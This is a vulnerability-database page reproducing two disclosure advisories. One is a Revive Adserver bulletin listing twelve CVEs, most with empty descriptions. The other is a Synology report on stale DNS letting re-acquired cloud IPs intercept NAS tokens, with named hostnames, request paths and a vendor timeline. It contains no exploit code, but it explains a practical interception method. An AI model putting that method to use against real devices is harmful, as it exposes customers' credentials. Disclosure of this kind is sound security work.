CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
Proper escaping has been added to the userlog details output.
References
----------
https://hackerone.com/reports/3669623
https://github.com/revive-adserver/revive-adserver/commit/6254115b7
https://cwe.mitre.org/data/definitions/79.html
========================================================================
8. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-44957
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3677576
https://github.com/revive-adserver/revive-adserver/commit/5860e2f86
https://cwe.mitre.org/data/definitions/284.html
========================================================================
9. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-44958
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3678828
https://github.com/revive-adserver/revive-adserver/commit/2af365841
https://cwe.mitre.org/data/definitions/284.html
========================================================================
10. Remote Code Execution
========================================================================
Vulnerability Type: CWE-94: Code Injection
CVE-ID: CVE-2026-44959
Risk level: High
CVSS Base Score: 8.8
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3744200
https://github.com/revive-adserver/revive-adserver/commit/6c6161420
https://cwe.mitre.org/data/definitions/94.html
========================================================================
11. Stored XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-44960
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
the username would be executed due to missing output sanitisation.
Resolution
----------
Proper escaping has been added to the audit log details output.
References
----------
https://hackerone.com/reports/3680090
https://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5
https://cwe.mitre.org/data/definitions/79.html
========================================================================
12. Incomplete List of Disallowed Inputs
========================================================================
Vulnerability Type: CWE-184: Incomplete List of Disallowed Inputs
CVE-ID: CVE-2026-44961
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
HackerOne community member barcrange (3l4) has reported that the XML‑RPC API
CVE‑2025‑55129. As a result, API users could create usernames that enabled
impersonation or stored XSS attacks.
Resolution
----------
Proper validation has been added where it was missing.
References
----------
https://hackerone.com/reports/3680090
https://github.com/revive-adserver/revive-adserver/commit/229cf361b
https://cwe.mitre.org/data/definitions/184.html
========================================================================
Solution
========================================================================
========================================================================
Contact Information
========================================================================
The security contact for Revive Adserver can be reached at:
<security AT revive-adserver DOT com>.
Please review https://www.revive-adserver.com/security/ before doing so.
--
Matteo Beccati
On behalf of the Revive Adserver Team
https://www.revive-adserver.com/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
35 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Revive Adserver Vulnerabilities |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0376 (this record)
- related CVE-2026-34912
- related CVE-2026-34913
- related CVE-2026-34914
- related CVE-2026-34915
- related CVE-2026-34916
- related CVE-2026-34917
- related CVE-2026-44956
- related CVE-2026-44957
- related CVE-2026-44958
- related CVE-2026-44959
- related CVE-2026-44960
- related CVE-2026-44961
{
"containers": {
"cna": {
"affected": [
{
"product": "Revive Adserver Vulnerabilities",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matteo Beccati"
}
],
"descriptions": [
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"lang": "en",
"value": "========================================================================\nRevive Adserver Security Advisory REVIVE-SA-2026-002\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-002\n------------------------------------------------------------------------\nDate: 2026-06-03\nRisk Level: Medium to High\nApplications affected: Revive Adserver\nVersions affected: \u003c= 6.0.6\nVersions not affected: \u003e= 6.0.7\nWebsite: https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\n1. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34912\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650504\nhttps://github.com/revive-adserver/revive-adserver/commit/e1c9b8478\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n2. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34913\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\nrelationships.\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650582\nhttps://github.com/revive-adserver/revive-adserver/commit/f1b5e8504\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n3. Blind SQL Injection\n========================================================================\nVulnerability Type: CWE-89: SQL Injection\nCVE-ID: CVE-2026-34914\nRisk level: High\nCVSS Base Score: 8.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653196\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/89.html\n\n\n========================================================================\n4. Reflected XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-34915\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653316\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n5. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-34916\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3656781\nhttps://github.com/revive-adserver/revive-adserver/commit/de3525e12\nhttps://cwe.mitre.org/data/definitions/94.html\n\n\n========================================================================\n6. Improper Authentication\n========================================================================\nVulnerability Type: CWE-287: Improper Authentication\nCVE-ID: CVE-2026-34917\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3672641\nhttps://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba\nhttps://cwe.mitre.org/data/definitions/287.html\n\n\n========================================================================\n7. Stored XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-44956\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\nProper escaping has been added to the userlog details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3669623\nhttps://github.com/revive-adserver/revive-adserver/commit/6254115b7\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n8. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44957\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3677576\nhttps://github.com/revive-adserver/revive-adserver/commit/5860e2f86\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n9. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44958\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3678828\nhttps://github.com/revive-adserver/revive-adserver/commit/2af365841\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n10. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-44959\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3744200\nhttps://github.com/revive-adserver/revive-adserver/commit/6c6161420\nhttps://cwe.mitre.org/data/definitions/94.html\n\n========================================================================\n11. Stored XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-44960\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\nthe username would be executed due to missing output sanitisation.\n\nResolution\n----------\nProper escaping has been added to the audit log details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n12. Incomplete List of Disallowed Inputs\n========================================================================\nVulnerability Type: CWE-184: Incomplete List of Disallowed Inputs\nCVE-ID: CVE-2026-44961\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\nHackerOne community member barcrange (3l4) has reported that the XML\u2011RPC API\n\nCVE\u20112025\u201155129. As a result, API users could create usernames that enabled\nimpersonation or stored XSS attacks.\n\nResolution\n----------\nProper validation has been added where it was missing.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/229cf361b\nhttps://cwe.mitre.org/data/definitions/184.html\n\n\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\nPlease review https://www.revive-adserver.com/security/ before doing so.\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
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"descriptions": [
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"description": "CWE-184",
"lang": "en",
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"description": "CWE-284",
"lang": "en",
"type": "CWE"
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{
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{
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"description": "CWE-79",
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{
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"type": "CWE"
},
{
"cweId": "CWE-94",
"description": "CWE-94",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
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],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/0"
},
{
"tags": [
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"url": "https://seclists.org/fulldisclosure/2026/Jun/0"
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{
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"url": "https://cwe.mitre.org/data/definitions/284.html"
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{
"url": "https://cwe.mitre.org/data/definitions/287.html"
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{
"url": "https://cwe.mitre.org/data/definitions/79.html"
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{
"url": "https://cwe.mitre.org/data/definitions/89.html"
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{
"url": "https://cwe.mitre.org/data/definitions/94.html"
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{
"url": "https://github.com/revive-adserver/revive-adserver/commit/229cf361b"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5"
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{
"url": "https://github.com/revive-adserver/revive-adserver/commit/2af365841"
},
{
"url": "https://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba"
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GCVE-1988-2026-0374
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:36
VLAI
EPSS
VEX
Title
Synology stale DNS allows practical interception of traffic from vulnerable DSM clients
Summary
# Synology stale DNS allows practical interception of traffic from
vulnerable DSM clients
Vendor case: 904909
Suggested severity: High
## Customer advisory
Synology customers using the affected DSM and Relayd versions listed below
should upgrade immediately.
The relevant man-in-the-middle vulnerabilities were fixed in DSM
6.2.3-25426 Update 3. Customers should install the latest DSM version
available for their device, and in no case remain on a version earlier than
DSM 6.2.3-25426 Update 3 where that update is supported.
Devices that cannot run this or a later version should be considered
unsupported and unsafe for QuickConnect or relay-based communication. They
should be replaced, retired, or isolated from Synology cloud services.
## Summary
Previously disclosed vulnerabilities in Synology DSM allowed an attacker
positioned between a NAS and Synology's infrastructure to impersonate
Synology servers, intercept sensitive information, and, in some cases,
manipulate traffic or execute commands.
Those vulnerabilities included:
* CVE-2021-26560, cleartext transmission by `synoagentregisterd`, allowing
an attacker to spoof a Synology server.
* CVE-2021-26561 and CVE-2021-26562, memory-corruption vulnerabilities
reachable through the same man-in-the-middle position.
* CVE-2021-26564 and CVE-2021-26565, allowing `synorelayd` traffic to be
intercepted or redirected.
* CVE-2021-26566, allowing manipulated inbound QuickConnect traffic to
result in command execution.
Synology fixed these issues in DSM 6.2.3-25426 Update 3.
The new finding described in this advisory is a separate infrastructure
condition that makes exploitation of those old client vulnerabilities
practical.
Synology hostnames were observed resolving to ephemeral cloud IP addresses.
Synology subsequently released those addresses back to the cloud provider
while client devices continued to retain the old DNS result in cache. When
a released address was acquired by a third party, affected clients
continued sending traffic intended for Synology to the new,
attacker-controlled system.
This does not require DNS poisoning, ARP spoofing, phishing, a malicious
website, or a conventional on-path position. The stale DNS record itself
directs the client to the attacker.
## Observed interception in the wild
During a two-week period, four separately released cloud IP addresses
previously used by Synology infrastructure were acquired and monitored.
The supplied traffic captures cover four collection events between 7 July
and 16 July 2026. They contain:
* 28 HTTP or HTTPS requests intended for Synology services.
* 23 distinct client endpoints.
* 22 unique NAS serial numbers, plus one additional client that did not
include its serial number in the captured request.
* 10 plaintext `synoagentregisterd_dsm` requests.
* 14 `Synology Relayd` requests.
* Four additional QuickConnect requests.
The traffic was received without targeting individual customers and without
interfering with Synology's DNS records. The clients contacted addresses
that had legitimately been released by Synology and subsequently assigned
to the collection system.
This is therefore not a theoretical attack scenario. It is a definitive
example of real Synology customer traffic being delivered to a
third-party-controlled endpoint.
## Information exposed
The information varied by request type, but the captured traffic included:
* Authentication keys and token values.
* NAS serial numbers and model identifiers.
* MAC addresses.
* QuickConnect aliases and server identifiers.
* HTTP session cookies.
* Internal IPv4 and IPv6 addresses.
* Internal gateways and network masks.
* DDNS hostnames.
* Enabled services and internal or externally mapped service ports.
* DSM management ports.
* Device time zones and other system metadata.
The plaintext `/finder/set.php` requests exposed device identifiers,
tokens, internal addresses and management ports directly over HTTP.
The TLS-based requests successfully connected to a collection system using
a self-signed certificate. This demonstrates that the affected clients did
not meaningfully authenticate the remote server before transmitting request
data.
Whether every captured token could subsequently be replayed is not
necessary to establish the confidentiality impact. The security failure
occurred when private customer and device data intended for Synology was
delivered to an unauthorised third party.
## Affected traffic paths
The intercepted requests were intended for hostnames including:
* `relayinfo.synology.com`
* `global.quickconnect.to`
* `dec.quickconnect.to`
* `ukc.synology.com`
The traffic included requests to:
* `/finder/set.php`
* `/Serv.php`
* `/alias_update.php`
Cisco Talos previously documented the same `synoagentregisterd` sequence. A
DSM device first requested a finder server from `global.quickconnect.to`,
then transmitted its serial number, token, network addresses and DSM ports
using plaintext HTTP. Talos concluded that both stages could be modified by
a man-in-the-middle attacker.
Talos also documented QuickConnect server impersonation capable of stealing
device credentials through the `synorelayd` and HTTP-redirection flow.
The stale-DNS condition supplies the attacker-controlled endpoint required
by these vulnerabilities without requiring the attacker to compromise DNS
or obtain an existing network position.
## Captured client versions
All captured clients pre-date DSM 6.2.3-25426 Update 3.
| Captured version | Identified models | Distinct endpoints |
| ------------------------ | ----------------------- | -----------------: |
| Synology Relayd 1.0-3211 | Model not disclosed | 1 |
| Synology Relayd 1.0-3810 | Model not disclosed | 1 |
| Synology Relayd 1.0-3827 | DS210j, DS212j, DS710+ | 4 |
| Synology Relayd 1.0-4493 | DS214+, DS414slim | 5 |
| DSM 5.0-4528 | DS214play | 1 |
| DSM 5.0-4528 Update 1 | DS713+ | 1 |
| DSM 5.0-4528 Update 2 | DS213j | 1 |
| DSM 5.2-5592 Update 4 | DS214se | 1 |
| DSM 5.2-5967 Update 9 | DS1010+, DS115j, RS815+ | 4 |
| DSM 6.0-8451 | DS416j | 1 |
| DSM 6.0-8754 Update 8 | DS215+, DS216j | 3 |
| Total | | 23 |
## Required remediation
### Devices that support the patched DSM release
The following identified models can install DSM 6.2.3-25426 Update 3 or a
later DSM release:
* DS212j
* DS213j
* DS214+
* DS214play
* DS214se
* DS215+
* DS216j
* DS414slim
* DS416j
* DS713+
* DS115j
* RS815+
Owners should install the latest DSM version currently offered for the
specific model. DSM 6.2.3-25426 Update 3 is only the minimum version known
to contain the relevant fixes and should not be treated as the preferred
current version. Synology's model release notes confirm availability of the
fixed branch for these hardware generations.
### Devices with no patched DSM release
The following captured 10-series models are limited to DSM 5.2 and cannot
install the fixed DSM branch:
* DS1010+
* DS210j
* DS710+
Synology states that DSM 5.2 was the final major DSM release for 10-series
devices.
There is therefore no safe software upgrade for these devices in relation
to the vulnerabilities described in Synology-SA-20:26. Customers should
replace or retire them.
Until replacement, owners should disable QuickConnect and related relay
functionality, restrict outbound connectivity to Synology relay and finder
services, and prevent the devices from transmitting sensitive registration
data over the internet.
The two unidentified clients using Relayd 1.0-3211 and 1.0-3810 should be
identified by their owners. If their hardware cannot install DSM
6.2.3-25426 Update 3 or later, the same replacement recommendation applies.
## Historical exposure
It is not known:
* How long Synology's infrastructure has released ephemeral addresses while
DNS caches remained valid.
* How frequently previously used addresses have been acquired by unrelated
cloud customers.
* Whether other parties deliberately searched for and acquired released
Synology addresses.
* How many clients have previously sent requests to unintended recipients.
* How much customer data may have been collected before this report.
* Whether any exposed keys, tokens or session values were replayed or
otherwise abused.
Four independent ephemeral addresses were encountered during a short
observation period. This suggests that the condition was repeatable rather
than an isolated cloud-allocation anomaly.
The absence of known reports of exploitation cannot establish that prior
interception did not occur. A party receiving this traffic would not need
to interact with the affected NAS, modify a request, or trigger an
observable failure. Passive collection could occur without the customer or
Synology becoming aware of it.
## Vendor disclosure timeline
| Date | Event
|
| ----------------- |
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
| 7 July 2026 | Initial report submitted to Synology with a captured
traffic log.
|
| 8 July 2026 | Synology classified the issue as a hardening
suggestion, stating that a complete exploit had not been demonstrated and
referring to phishing or fake-site behaviour that was not part of the
report. |
| 8 July 2026 | Synology was informed that the attachment contained
live third-party traffic, identifiers and token values, and was asked to
consider notifying the affected customers. |
| 9 July 2026 | Synology acknowledged that the log contained live
traffic and token-like values, but said replay or account compromise had
not been demonstrated. |
| 9 July 2026 | Synology was informed that its HTTPS traffic had
connected to a self-signed collection endpoint, demonstrating ineffective
certificate validation. |
| 9 July 2026 | Synology described the result as, at most, limited
information exposure.
|
| 9 to 16 July 2026 | Additional released IP addresses were acquired and
further independent batches of customer traffic were captured and supplied.
|
| 22 July 2026 | Synology stated that the TLS certificate-validation
behaviour had been fixed in later DSM versions and maintained that the
report was not bounty eligible. |
| 22 July 2026 | Synology was reminded that the stale-DNS condition
made the old client vulnerability practically exploitable and that the
duration and historical extent of exposure were unknown. |
| 22 July 2026 | Synology stated that it would adjust the
configuration of `relayinfo.synology.com` to further reduce the risk.
|
| 22 July 2026 | Synology maintained the "hardening suggestion"
classification and declined a monetary reward.
|
## Assessment of Synology's response
Synology is correct that every client observed in the captures was old and
pre-dated the relevant security update.
That fact does not invalidate the finding.
The stale-DNS condition was present in Synology-controlled infrastructure
at the time of reporting. It t
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/28 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
reference
GCVE-1988-2026-0374 (this record)
- related CVE-2021-26560
- related CVE-2021-26561
- related CVE-2021-26562
- related CVE-2021-26564
- related CVE-2021-26565
- related CVE-2021-26566
{
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"cna": {
"affected": [
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"vendor": "Synology",
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"type": "finder",
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"lang": "en",
"value": "# Synology stale DNS allows practical interception of traffic from\nvulnerable DSM clients\n\nVendor case: 904909\nSuggested severity: High\n\n## Customer advisory\n\nSynology customers using the affected DSM and Relayd versions listed below\nshould upgrade immediately.\n\nThe relevant man-in-the-middle vulnerabilities were fixed in DSM\n6.2.3-25426 Update 3. Customers should install the latest DSM version\navailable for their device, and in no case remain on a version earlier than\nDSM 6.2.3-25426 Update 3 where that update is supported.\n\nDevices that cannot run this or a later version should be considered\nunsupported and unsafe for QuickConnect or relay-based communication. They\nshould be replaced, retired, or isolated from Synology cloud services.\n\n## Summary\n\nPreviously disclosed vulnerabilities in Synology DSM allowed an attacker\npositioned between a NAS and Synology\u0027s infrastructure to impersonate\nSynology servers, intercept sensitive information, and, in some cases,\nmanipulate traffic or execute commands.\n\nThose vulnerabilities included:\n\n* CVE-2021-26560, cleartext transmission by `synoagentregisterd`, allowing\nan attacker to spoof a Synology server.\n* CVE-2021-26561 and CVE-2021-26562, memory-corruption vulnerabilities\nreachable through the same man-in-the-middle position.\n* CVE-2021-26564 and CVE-2021-26565, allowing `synorelayd` traffic to be\nintercepted or redirected.\n* CVE-2021-26566, allowing manipulated inbound QuickConnect traffic to\nresult in command execution.\n\nSynology fixed these issues in DSM 6.2.3-25426 Update 3.\n\nThe new finding described in this advisory is a separate infrastructure\ncondition that makes exploitation of those old client vulnerabilities\npractical.\n\nSynology hostnames were observed resolving to ephemeral cloud IP addresses.\nSynology subsequently released those addresses back to the cloud provider\nwhile client devices continued to retain the old DNS result in cache. When\na released address was acquired by a third party, affected clients\ncontinued sending traffic intended for Synology to the new,\nattacker-controlled system.\n\nThis does not require DNS poisoning, ARP spoofing, phishing, a malicious\nwebsite, or a conventional on-path position. The stale DNS record itself\ndirects the client to the attacker.\n\n## Observed interception in the wild\n\nDuring a two-week period, four separately released cloud IP addresses\npreviously used by Synology infrastructure were acquired and monitored.\n\nThe supplied traffic captures cover four collection events between 7 July\nand 16 July 2026. They contain:\n\n* 28 HTTP or HTTPS requests intended for Synology services.\n* 23 distinct client endpoints.\n* 22 unique NAS serial numbers, plus one additional client that did not\ninclude its serial number in the captured request.\n* 10 plaintext `synoagentregisterd_dsm` requests.\n* 14 `Synology Relayd` requests.\n* Four additional QuickConnect requests.\n\nThe traffic was received without targeting individual customers and without\ninterfering with Synology\u0027s DNS records. The clients contacted addresses\nthat had legitimately been released by Synology and subsequently assigned\nto the collection system.\n\nThis is therefore not a theoretical attack scenario. It is a definitive\nexample of real Synology customer traffic being delivered to a\nthird-party-controlled endpoint.\n\n## Information exposed\n\nThe information varied by request type, but the captured traffic included:\n\n* Authentication keys and token values.\n* NAS serial numbers and model identifiers.\n* MAC addresses.\n* QuickConnect aliases and server identifiers.\n* HTTP session cookies.\n* Internal IPv4 and IPv6 addresses.\n* Internal gateways and network masks.\n* DDNS hostnames.\n* Enabled services and internal or externally mapped service ports.\n* DSM management ports.\n* Device time zones and other system metadata.\n\nThe plaintext `/finder/set.php` requests exposed device identifiers,\ntokens, internal addresses and management ports directly over HTTP.\n\nThe TLS-based requests successfully connected to a collection system using\na self-signed certificate. This demonstrates that the affected clients did\nnot meaningfully authenticate the remote server before transmitting request\ndata.\n\nWhether every captured token could subsequently be replayed is not\nnecessary to establish the confidentiality impact. The security failure\noccurred when private customer and device data intended for Synology was\ndelivered to an unauthorised third party.\n\n## Affected traffic paths\n\nThe intercepted requests were intended for hostnames including:\n\n* `relayinfo.synology.com`\n* `global.quickconnect.to`\n* `dec.quickconnect.to`\n* `ukc.synology.com`\n\nThe traffic included requests to:\n\n* `/finder/set.php`\n* `/Serv.php`\n* `/alias_update.php`\n\nCisco Talos previously documented the same `synoagentregisterd` sequence. A\nDSM device first requested a finder server from `global.quickconnect.to`,\nthen transmitted its serial number, token, network addresses and DSM ports\nusing plaintext HTTP. Talos concluded that both stages could be modified by\na man-in-the-middle attacker.\n\nTalos also documented QuickConnect server impersonation capable of stealing\ndevice credentials through the `synorelayd` and HTTP-redirection flow.\n\nThe stale-DNS condition supplies the attacker-controlled endpoint required\nby these vulnerabilities without requiring the attacker to compromise DNS\nor obtain an existing network position.\n\n## Captured client versions\n\nAll captured clients pre-date DSM 6.2.3-25426 Update 3.\n\n| Captured version | Identified models | Distinct endpoints |\n| ------------------------ | ----------------------- | -----------------: |\n| Synology Relayd 1.0-3211 | Model not disclosed | 1 |\n| Synology Relayd 1.0-3810 | Model not disclosed | 1 |\n| Synology Relayd 1.0-3827 | DS210j, DS212j, DS710+ | 4 |\n| Synology Relayd 1.0-4493 | DS214+, DS414slim | 5 |\n| DSM 5.0-4528 | DS214play | 1 |\n| DSM 5.0-4528 Update 1 | DS713+ | 1 |\n| DSM 5.0-4528 Update 2 | DS213j | 1 |\n| DSM 5.2-5592 Update 4 | DS214se | 1 |\n| DSM 5.2-5967 Update 9 | DS1010+, DS115j, RS815+ | 4 |\n| DSM 6.0-8451 | DS416j | 1 |\n| DSM 6.0-8754 Update 8 | DS215+, DS216j | 3 |\n| Total | | 23 |\n\n## Required remediation\n\n### Devices that support the patched DSM release\n\nThe following identified models can install DSM 6.2.3-25426 Update 3 or a\nlater DSM release:\n\n* DS212j\n* DS213j\n* DS214+\n* DS214play\n* DS214se\n* DS215+\n* DS216j\n* DS414slim\n* DS416j\n* DS713+\n* DS115j\n* RS815+\n\nOwners should install the latest DSM version currently offered for the\nspecific model. DSM 6.2.3-25426 Update 3 is only the minimum version known\nto contain the relevant fixes and should not be treated as the preferred\ncurrent version. Synology\u0027s model release notes confirm availability of the\nfixed branch for these hardware generations.\n\n### Devices with no patched DSM release\n\nThe following captured 10-series models are limited to DSM 5.2 and cannot\ninstall the fixed DSM branch:\n\n* DS1010+\n* DS210j\n* DS710+\n\nSynology states that DSM 5.2 was the final major DSM release for 10-series\ndevices.\n\nThere is therefore no safe software upgrade for these devices in relation\nto the vulnerabilities described in Synology-SA-20:26. Customers should\nreplace or retire them.\n\nUntil replacement, owners should disable QuickConnect and related relay\nfunctionality, restrict outbound connectivity to Synology relay and finder\nservices, and prevent the devices from transmitting sensitive registration\ndata over the internet.\n\nThe two unidentified clients using Relayd 1.0-3211 and 1.0-3810 should be\nidentified by their owners. If their hardware cannot install DSM\n6.2.3-25426 Update 3 or later, the same replacement recommendation applies.\n\n## Historical exposure\n\nIt is not known:\n\n* How long Synology\u0027s infrastructure has released ephemeral addresses while\nDNS caches remained valid.\n* How frequently previously used addresses have been acquired by unrelated\ncloud customers.\n* Whether other parties deliberately searched for and acquired released\nSynology addresses.\n* How many clients have previously sent requests to unintended recipients.\n* How much customer data may have been collected before this report.\n* Whether any exposed keys, tokens or session values were replayed or\notherwise abused.\n\nFour independent ephemeral addresses were encountered during a short\nobservation period. This suggests that the condition was repeatable rather\nthan an isolated cloud-allocation anomaly.\n\nThe absence of known reports of exploitation cannot establish that prior\ninterception did not occur. A party receiving this traffic would not need\nto interact with the affected NAS, modify a request, or trigger an\nobservable failure. Passive collection could occur without the customer or\nSynology becoming aware of it.\n\n## Vendor disclosure timeline\n\n| Date | Event\n\n |\n| ----------------- |\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n|\n| 7 July 2026 | Initial report submitted to Synology with a captured\ntraffic log.\n |\n| 8 July 2026 | Synology classified the issue as a hardening\nsuggestion, stating that a complete exploit had not been demonstrated and\nreferring to phishing or fake-site behaviour that was not part of the\nreport. |\n| 8 July 2026 | Synology was informed that the attachment contained\nlive third-party traffic, identifiers and token values, and was asked to\nconsider notifying the affected customers. |\n| 9 July 2026 | Synology acknowledged that the log contained live\ntraffic and token-like values, but said replay or account compromise had\nnot been demonstrated. |\n| 9 July 2026 | Synology was informed that its HTTPS traffic had\nconnected to a self-signed collection endpoint, demonstrating ineffective\ncertificate validation. |\n| 9 July 2026 | Synology described the result as, at most, limited\ninformation exposure.\n |\n| 9 to 16 July 2026 | Additional released IP addresses were acquired and\nfurther independent batches of customer traffic were captured and 